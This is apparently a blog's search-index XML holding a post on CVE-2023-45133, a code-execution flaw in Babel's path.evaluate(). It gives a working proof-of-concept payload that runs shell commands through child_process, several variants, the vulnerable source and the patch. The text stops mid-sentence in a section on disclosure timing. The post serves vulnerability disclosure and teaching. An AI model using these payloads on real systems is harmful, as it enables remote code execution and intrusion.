-
Notifications
You must be signed in to change notification settings - Fork 2
/
local-search.xml
255 lines (123 loc) · 496 KB
/
local-search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>CVE-2023-45133: Finding an Arbitrary Code Execution Vulnerability In Babel</title>
<link href="/2023/10/11/CVE-2023-45133-Finding-an-Arbitrary-Code-Execution-Vulnerability-In-Babel/"/>
<url>/2023/10/11/CVE-2023-45133-Finding-an-Arbitrary-Code-Execution-Vulnerability-In-Babel/</url>
<content type="html"><![CDATA[<h1 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h1><p>On October 10th, 2023, I stumbled upon an arbitrary code execution vulnerability in <a href="https://github.com/babel/babel/">Babel</a>, which was subsequently assigned the identifier CVE-2023-45133. In this post, I’ll walk you through the journey of discovering and exploiting this intriguing flaw.</p><p>Those who use Babel for reverse engineering/code deobfuscation love using Babel because of all of the built in functionality it provides. One of the most useful features is the ability to statically evaluate expressions using <code>path.evaluate()</code> and <code>path.evaluateTruthy()</code>. I have written about this in the previous articles:</p><ul><li><p><a href="https://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/">Constant Folding</a></p></li><li><p><a href="https://steakenthusiast.github.io/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/">A Peculiar JSFuck-style Case</a></p></li></ul><p>Wait, did I say <em>statically evaluate</em>?</p><h1 id="The-Exploit"><a href="#The-Exploit" class="headerlink" title="The Exploit"></a>The Exploit</h1><p>Before delving into the details, let’s take a look at the proof of concept I came up with:</p><h2 id="Proof-of-Concept"><a href="#Proof-of-Concept" class="headerlink" title="Proof of Concept"></a>Proof of Concept</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><br><span class="hljs-keyword">const</span> source = <span class="hljs-string">`String({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`</span><br><br><span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br><span class="hljs-keyword">const</span> evalVisitor = {<br> <span class="hljs-title class_">Expression</span>(path) {<br> path.evaluate();<br> },<br>};<br><br><span class="hljs-title function_">traverse</span>(ast, evalVisitor);<br></code></pre></td></tr></table></figure><p>This simply outputs the result of the <code>id</code> command to the terminal, as can be seen below.</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs routeros">┌──(kali㉿kali)-[~/Babel RCE]<br>└─$ node exploit.js<br><span class="hljs-attribute">uid</span>=1000(kali) <span class="hljs-attribute">gid</span>=1000(kali) <span class="hljs-attribute">groups</span>=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)<br></code></pre></td></tr></table></figure><p>Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell.</p><p><img src="/2023/10/11/CVE-2023-45133-Finding-an-Arbitrary-Code-Execution-Vulnerability-In-Babel/success.jpg" alt="😁"></p><h2 id="Exploit-Breakdown"><a href="#Exploit-Breakdown" class="headerlink" title="Exploit Breakdown"></a>Exploit Breakdown</h2><p>To understand why this vulnerability works, we need to understand the source code of the culprit function, <code>evaluate</code>. The source code of <code>babel-traverse/src/path/evaluation.ts</code> prior to the fix is archived <a href="https://github.com/babel/babel/blob/7e198e5959b18373db3936fa3223c0811cebfac1/packages/babel-traverse/src/path/evaluation.ts">here</a></p><figure class="highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs ts"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Walk the input `node` and statically evaluate it.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * Returns an object in the form `{ confident, value, deopt }`. `confident`</span><br><span class="hljs-comment"> * indicates whether or not we had to drop out of evaluating the expression</span><br><span class="hljs-comment"> * because of hitting an unknown node that we couldn't confidently find the</span><br><span class="hljs-comment"> * value of, in which case `deopt` is the path of said node.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * Example:</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }</span><br><span class="hljs-comment"> * t.evaluate(parse("!true")) // { confident: true, value: false }</span><br><span class="hljs-comment"> * t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><br><span class="hljs-keyword">export</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">evaluate</span>(<span class="hljs-params"><span class="hljs-variable language_">this</span>: NodePath</span>): {<br> <span class="hljs-attr">confident</span>: <span class="hljs-built_in">boolean</span>;<br> <span class="hljs-attr">value</span>: <span class="hljs-built_in">any</span>;<br> deopt?: <span class="hljs-title class_">NodePath</span>;<br>} {<br> <span class="hljs-keyword">const</span> <span class="hljs-attr">state</span>: <span class="hljs-title class_">State</span> = {<br> <span class="hljs-attr">confident</span>: <span class="hljs-literal">true</span>,<br> <span class="hljs-attr">deoptPath</span>: <span class="hljs-literal">null</span>,<br> <span class="hljs-attr">seen</span>: <span class="hljs-keyword">new</span> <span class="hljs-title class_">Map</span>(),<br> };<br> <span class="hljs-keyword">let</span> value = evaluateCached(<span class="hljs-variable language_">this</span>, state);<br> <span class="hljs-keyword">if</span> (!state.<span class="hljs-property">confident</span>) value = <span class="hljs-literal">undefined</span>;<br><br> <span class="hljs-keyword">return</span> {<br> <span class="hljs-attr">confident</span>: state.<span class="hljs-property">confident</span>,<br> <span class="hljs-attr">deopt</span>: state.<span class="hljs-property">deoptPath</span>,<br> <span class="hljs-attr">value</span>: value,<br> };<br>}<br></code></pre></td></tr></table></figure><p>When <code>evaluate</code> is called on a NodePath, it goes through the <code>evaluatedCached</code> wrapper, before reaching the <code>_evaluate</code> function which does all the heavy lifting. The <code>_evaluate</code> function is where the vulnerability lies.</p><p>This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.</p><p>The two pieces of the source code we care about are the handling of <strong>call expressions</strong> and <strong>object expressions</strong>, as shown below:</p><h3 id="Vulnerable-Source-Code"><a href="#Vulnerable-Source-Code" class="headerlink" title="Vulnerable Source Code"></a>Vulnerable Source Code</h3><details><summary>Relevant _evaluate source code</summary><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">const</span> <span class="hljs-variable constant_">VALID_OBJECT_CALLEES</span> = [<span class="hljs-string">"Number"</span>, <span class="hljs-string">"String"</span>, <span class="hljs-string">"Math"</span>] <span class="hljs-keyword">as</span> <span class="hljs-keyword">const</span>;<br><span class="hljs-keyword">const</span> <span class="hljs-variable constant_">VALID_IDENTIFIER_CALLEES</span> = [<br> <span class="hljs-string">"isFinite"</span>,<br> <span class="hljs-string">"isNaN"</span>,<br> <span class="hljs-string">"parseFloat"</span>,<br> <span class="hljs-string">"parseInt"</span>,<br> <span class="hljs-string">"decodeURI"</span>,<br> <span class="hljs-string">"decodeURIComponent"</span>,<br> <span class="hljs-string">"encodeURI"</span>,<br> <span class="hljs-string">"encodeURIComponent"</span>,<br> process.<span class="hljs-property">env</span>.<span class="hljs-property">BABEL_8_BREAKING</span> ? <span class="hljs-string">"btoa"</span> : <span class="hljs-literal">null</span>,<br> process.<span class="hljs-property">env</span>.<span class="hljs-property">BABEL_8_BREAKING</span> ? <span class="hljs-string">"atob"</span> : <span class="hljs-literal">null</span>,<br>] <span class="hljs-keyword">as</span> <span class="hljs-keyword">const</span>;<br><br><span class="hljs-keyword">const</span> <span class="hljs-variable constant_">INVALID_METHODS</span> = [<span class="hljs-string">"random"</span>] <span class="hljs-keyword">as</span> <span class="hljs-keyword">const</span>;<br><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">isValidObjectCallee</span>(<span class="hljs-params"></span><br><span class="hljs-params"> val: string,</span><br><span class="hljs-params"></span>): val is (<span class="hljs-keyword">typeof</span> <span class="hljs-variable constant_">VALID_OBJECT_CALLEES</span>)[number] {<br> <span class="hljs-keyword">return</span> <span class="hljs-variable constant_">VALID_OBJECT_CALLEES</span>.<span class="hljs-title function_">includes</span>(<br> <span class="hljs-comment">// @ts-expect-error val is a string</span><br> val,<br> );<br>}<br><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">isValidIdentifierCallee</span>(<span class="hljs-params"></span><br><span class="hljs-params"> val: string,</span><br><span class="hljs-params"></span>): val is (<span class="hljs-keyword">typeof</span> <span class="hljs-variable constant_">VALID_IDENTIFIER_CALLEES</span>)[number] {<br> <span class="hljs-keyword">return</span> <span class="hljs-variable constant_">VALID_IDENTIFIER_CALLEES</span>.<span class="hljs-title function_">includes</span>(<br> <span class="hljs-comment">// @ts-expect-error val is a string</span><br> val,<br> );<br>}<br><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">isInvalidMethod</span>(<span class="hljs-params">val: string</span>): val is (<span class="hljs-keyword">typeof</span> <span class="hljs-variable constant_">INVALID_METHODS</span>)[number] {<br> <span class="hljs-keyword">return</span> <span class="hljs-variable constant_">INVALID_METHODS</span>.<span class="hljs-title function_">includes</span>(<br> <span class="hljs-comment">// @ts-expect-error val is a string</span><br> val,<br> );<br>}<br><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">_evaluate</span>(<span class="hljs-params">path: NodePath, state: State</span>): any {<br><span class="hljs-comment">/** snip **/</span><br> <span class="hljs-keyword">if</span> (path.<span class="hljs-title function_">isObjectExpression</span>()) {<br> <span class="hljs-keyword">const</span> obj = {};<br> <span class="hljs-keyword">const</span> props = path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"properties"</span>);<br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> prop <span class="hljs-keyword">of</span> props) {<br> <span class="hljs-keyword">if</span> (prop.<span class="hljs-title function_">isObjectMethod</span>() || prop.<span class="hljs-title function_">isSpreadElement</span>()) {<br> <span class="hljs-title function_">deopt</span>(prop, state);<br> <span class="hljs-keyword">return</span>;<br> }<br> <span class="hljs-keyword">const</span> keyPath = (prop <span class="hljs-keyword">as</span> <span class="hljs-title class_">NodePath</span><t.<span class="hljs-property">ObjectProperty</span>>).<span class="hljs-title function_">get</span>(<span class="hljs-string">"key"</span>);<br> <span class="hljs-keyword">let</span> key;<br> <span class="hljs-comment">// @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded</span><br> <span class="hljs-keyword">if</span> (prop.<span class="hljs-property">node</span>.<span class="hljs-property">computed</span>) {<br> key = keyPath.evaluate();<br> <span class="hljs-keyword">if</span> (!key.<span class="hljs-property">confident</span>) {<br> <span class="hljs-title function_">deopt</span>(key.<span class="hljs-property">deopt</span>, state);<br> <span class="hljs-keyword">return</span>;<br> }<br> key = key.<span class="hljs-property">value</span>;<br> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (keyPath.<span class="hljs-title function_">isIdentifier</span>()) {<br> key = keyPath.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>;<br> } <span class="hljs-keyword">else</span> {<br> key = (<br> keyPath.<span class="hljs-property">node</span> <span class="hljs-keyword">as</span> t.<span class="hljs-property">StringLiteral</span> | t.<span class="hljs-property">NumericLiteral</span> | t.<span class="hljs-property">BigIntLiteral</span><br> ).<span class="hljs-property">value</span>;<br> }<br> <span class="hljs-keyword">const</span> valuePath = (prop <span class="hljs-keyword">as</span> <span class="hljs-title class_">NodePath</span><t.<span class="hljs-property">ObjectProperty</span>>).<span class="hljs-title function_">get</span>(<span class="hljs-string">"value"</span>);<br> <span class="hljs-keyword">let</span> value = valuePath.evaluate();<br> <span class="hljs-keyword">if</span> (!value.<span class="hljs-property">confident</span>) {<br> <span class="hljs-title function_">deopt</span>(value.<span class="hljs-property">deopt</span>, state);<br> <span class="hljs-keyword">return</span>;<br> }<br> value = value.<span class="hljs-property">value</span>;<br> <span class="hljs-comment">// @ts-expect-error key is any type</span><br> obj[key] = value;<br> }<br> <span class="hljs-keyword">return</span> obj;<br> }<br><br> <span class="hljs-comment">/** snip **/</span><br> <span class="hljs-keyword">if</span> (path.<span class="hljs-title function_">isCallExpression</span>()) {<br> <span class="hljs-keyword">const</span> callee = path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"callee"</span>);<br> <span class="hljs-keyword">let</span> context;<br> <span class="hljs-keyword">let</span> func;<br><br> <span class="hljs-comment">// Number(1);</span><br> <span class="hljs-keyword">if</span> (<br> callee.<span class="hljs-title function_">isIdentifier</span>() &&<br> !path.<span class="hljs-property">scope</span>.<span class="hljs-title function_">getBinding</span>(callee.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>) &&<br> (<span class="hljs-title function_">isValidObjectCallee</span>(callee.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>) ||<br> <span class="hljs-title function_">isValidIdentifierCallee</span>(callee.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>))<br> ) {<br> func = <span class="hljs-variable language_">global</span>[callee.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>];<br> }<br><br> <span class="hljs-keyword">if</span> (callee.<span class="hljs-title function_">isMemberExpression</span>()) {<br> <span class="hljs-keyword">const</span> object = callee.<span class="hljs-title function_">get</span>(<span class="hljs-string">"object"</span>);<br> <span class="hljs-keyword">const</span> property = callee.<span class="hljs-title function_">get</span>(<span class="hljs-string">"property"</span>);<br><br> <span class="hljs-comment">// Math.min(1, 2)</span><br> <span class="hljs-keyword">if</span> (<br> object.<span class="hljs-title function_">isIdentifier</span>() &&<br> property.<span class="hljs-title function_">isIdentifier</span>() &&<br> <span class="hljs-title function_">isValidObjectCallee</span>(object.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>) &&<br> !<span class="hljs-title function_">isInvalidMethod</span>(property.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>)<br> ) {<br> context = <span class="hljs-variable language_">global</span>[object.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>];<br> <span class="hljs-comment">// @ts-expect-error property may not exist in context object</span><br> func = context[property.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>];<br> }<br><br> <span class="hljs-comment">// "abc".charCodeAt(4)</span><br> <span class="hljs-keyword">if</span> (object.<span class="hljs-title function_">isLiteral</span>() && property.<span class="hljs-title function_">isIdentifier</span>()) {<br> <span class="hljs-comment">// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)</span><br> <span class="hljs-keyword">const</span> type = <span class="hljs-keyword">typeof</span> object.<span class="hljs-property">node</span>.<span class="hljs-property">value</span>;<br> <span class="hljs-keyword">if</span> (type === <span class="hljs-string">"string"</span> || type === <span class="hljs-string">"number"</span>) {<br> <span class="hljs-comment">// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type</span><br> context = object.<span class="hljs-property">node</span>.<span class="hljs-property">value</span>;<br> func = context[property.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>];<br> }<br> }<br> }<br><br> <span class="hljs-keyword">if</span> (func) {<br> <span class="hljs-keyword">const</span> args = path<br> .<span class="hljs-title function_">get</span>(<span class="hljs-string">"arguments"</span>)<br> .<span class="hljs-title function_">map</span>(<span class="hljs-function">(<span class="hljs-params">arg</span>) =></span> evaluateCached(arg, state));<br> <span class="hljs-keyword">if</span> (!state.<span class="hljs-property">confident</span>) <span class="hljs-keyword">return</span>;<br><br> <span class="hljs-keyword">return</span> func.<span class="hljs-title function_">apply</span>(context, args);<br> }<br> }<br> <span class="hljs-comment">/** snip **/</span><br>}<br><br></code></pre></td></tr></table></figure></details><h3 id="Handling-of-Call-Expressions"><a href="#Handling-of-Call-Expressions" class="headerlink" title="Handling of Call Expressions"></a>Handling of Call Expressions</h3><p>The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the <code>VALID_OBJECT_CALLEES</code> or <code>VALID_IDENTIFIER_CALLEES</code> arrays.</p><p>Additionally, there are three cases for handling call expressions:</p><ol><li>When the callee is an identifier, and the identifier is whitelisted in <code>VALID_OBJECT_CALLEES</code> or <code>VALID_IDENTIFIER_CALLEES</code>.</li><li>When the callee is a member expression, the object is an identifier, the identifier is whitelisted in <code>VALID_OBJECT_CALLEES</code>, and the property is not blacklisted in <code>INVALID_METHODS</code>.</li><li>When the callee is a member expression, the object is a literal, and the property is a string/numeric literal.</li></ol><p>The most interesting one is the second case:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">if</span> (<br> object.<span class="hljs-title function_">isIdentifier</span>() &&<br> property.<span class="hljs-title function_">isIdentifier</span>() &&<br> <span class="hljs-title function_">isValidObjectCallee</span>(object.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>) &&<br> !<span class="hljs-title function_">isInvalidMethod</span>(property.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>)<br>) {<br> context = <span class="hljs-variable language_">global</span>[object.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>];<br> <span class="hljs-comment">// @ts-expect-error property may not exist in context object</span><br> func = context[property.<span class="hljs-property">node</span>.<span class="hljs-property">name</span>];<br>}<br><br><span class="hljs-comment">/** snip **/</span><br><span class="hljs-keyword">if</span> (func) {<br> <span class="hljs-keyword">const</span> args = path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"arguments"</span>).<span class="hljs-title function_">map</span>(<span class="hljs-function">(<span class="hljs-params">arg</span>) =></span> evaluateCached(arg, state));<br> <span class="hljs-keyword">if</span> (!state.<span class="hljs-property">confident</span>) <span class="hljs-keyword">return</span>;<br><br> <span class="hljs-keyword">return</span> func.<span class="hljs-title function_">apply</span>(context, args);<br>}<br></code></pre></td></tr></table></figure><p>The only blacklisted method is <code>random</code>, which is a method of the <code>Math</code> object. This means that any other method of either the whitelisted <code>Number</code>, <code>String</code>, or <code>Math</code> objects can be directly referenced.</p><p>In JavaScript, all classes are functions. Since <code>Number</code> and <code>String</code> are global JavaScript classes, their <code>constructor</code> property points to the <code>Function</code> constructor.</p><p>Therefore, the two expressions below are equivalent:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-title class_">Number</span>.<span class="hljs-title function_">constructor</span>(<span class="hljs-params"><span class="hljs-string">'javascript_code_here;'</span></span>);<br><span class="hljs-title class_">Function</span>(<span class="hljs-string">'javascript_code_here;'</span>);<br></code></pre></td></tr></table></figure><p>Passing in an arbitrary string to the <code>Function</code> constructor returns a function that will evaluate the provided string as JavaScript code when called.</p><p>The AST node generated by <code>Number.constructor('javascript_code_here;')</code> contains:</p><ul><li>A call expression, where<ul><li>The callee is a member expression, where<ul><li>The object is an identifier, with name whitelisted by <code>VALID_OBJECT_CALLEES</code></li><li>The property is an identifier, not blacklisted by <code>INVALID_METHODS</code></li></ul></li><li>The arguments are a single string literal, containing the code to be executed.</li></ul></li></ul><p>Therefore, the code is considered safe to evaluate, and we have successfuly crafted a malicious function.</p><p>However, it is crucial to note that this <em>cannot call the function on its own</em>. It only <strong>creates an anonymous function</strong>.</p><p>So, how exactly <em>can</em> we call the function? This is where the second piece of the puzzle comes in: <strong>object expressions</strong>.</p><h3 id="Handling-of-Object-Expressions"><a href="#Handling-of-Object-Expressions" class="headerlink" title="Handling of Object Expressions"></a>Handling of Object Expressions</h3><p>Within Babel’s <code>_evaluate</code> method, an <code>ObjectExpression</code> node undergoes recursive evaluation, producing a true JavaScript object. There’s no limitation on key names for <code>ObjectProperty</code>. As long as every <code>ObjectProperty</code> child in the <code>ObjectExpression</code> yields <code>confident: true</code> from <code>_evaluate()</code>, we can obtain a JavaScript object with custom keys/values.</p><p>A key property to leverage is <code>toString</code> (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString">MDN Reference</a>). Defining this property on an object to a function we control will allow us to execute arbitrary code when the object is converted to a string.</p><p>This is exactly what we do in the payload:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-title class_">String</span>(({ <span class="hljs-attr">toString</span>: <span class="hljs-title class_">Number</span>.<span class="hljs-title function_">constructor</span>(<span class="hljs-params"><span class="hljs-string">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span></span>)}));<br></code></pre></td></tr></table></figure><p>We’ve assigned our malicious function, crafted via the <code>Function</code> constructor, to the <code>toString</code> property of the object. Thus, when this object undergoes a string conversion, it gets triggered and executed.</p><p>In the provided example, we pass the object to the <code>String</code> function, given its status as a whitelisted function (referenced in case 1). Still, the <code>String</code> constructor isn’t mandatory. Implicit type coercion in JavaScript can also trigger our malicious function, as demonstrated in these alternative payload formats:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-string">""</span>+(({ <span class="hljs-attr">toString</span>: <span class="hljs-title class_">Number</span>.<span class="hljs-title function_">constructor</span>(<span class="hljs-params"><span class="hljs-string">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span></span>)}));<br></code></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-number">1</span>+(({ <span class="hljs-attr">valueOf</span>: <span class="hljs-title class_">Number</span>.<span class="hljs-title function_">constructor</span>(<span class="hljs-params"><span class="hljs-string">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span></span>)}));<br></code></pre></td></tr></table></figure><p>The first example employs type-coercion to transform the object into a string. In contrast, the second example utilizes type-coercion to convert it into a number, as detailed in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf">Object.prototype.valueOf()</a>. Both examples exploit the <code>_evaluate()</code> method’s approach to handling <code>BinaryExpression</code> nodes, which directly performs the operation after recursively evaluating the left and right operands.</p><h2 id="The-Patch"><a href="#The-Patch" class="headerlink" title="The Patch"></a>The Patch</h2><p>Upon disclosing this vulnerability, I was impressed by the swift response from the Babel team, who promptly rolled out a patch. This patch was released in two parts:</p><p>The first of which was a workaround for all of the affected official Babel packages, by guarding the calls to <code>evalute()</code> with an <code>isPure()</code> check. <a href="https://github.com/babel/babel/blob/4c155667cf50291132089a4556cd3c6cc9d2e640/packages/babel-traverse/src/scope/index.ts#L871">isPure</a> inherently prevents this bug, as it returns false for all <code>MemberExpression</code> nodes. <a href="https://github.com/babel/babel/pull/16032">PR #16032: Update babel-polyfills packages</a></p><p>The subsequent step involved refining the <code>evaluate()</code> function. This adjustment ensured that all inherited methods, not only <code>constructor</code>, were prevented from being called. <a href="https://github.com/babel/babel/pull/16033">PR #16033: Only evaluate own String/Number/Math methods</a></p><p>After the fixes were implemented, GitHub staff issued <strong>CVE-2023-45133</strong> for the security advisory.</p><h2 id="A-side-note-on-disclosure-timing"><a href="#A-side-note-on-disclosure-timing" class="headerlink" title="A side note on disclosure timing"></a>A side note on disclosure timing</h2><p>You might have noticed that this blog post was released on the same day as the security advisory. Usually for critical vulnerabilities, it’s customary to wait a while before disclosing a proof of concept. However, I believe this disclosure timing is justifiable for a few reasons:</p><p>Predominantly, the vast majority of Babel users remain unaffected by this vulnerability. Babel is primarily utilized for refactoring and transpiling <strong>one’s own code</strong>, which means the typical use case doesn’t expose users to this risk. It’s improbable that many have server-side implementations that accept and process arbitrary code from users through the compilation plugins or the invocation of <code>path.evaluate</code>. Furthermore, there are really only a couple real use-cases for using Babel to analyze untrusted code on the server-side:</p><ol><li>Reverse engineering bot mitigation software, etc.</li><li>Malware analysis</li></ol><p>In the first case, I doubt any legitimate 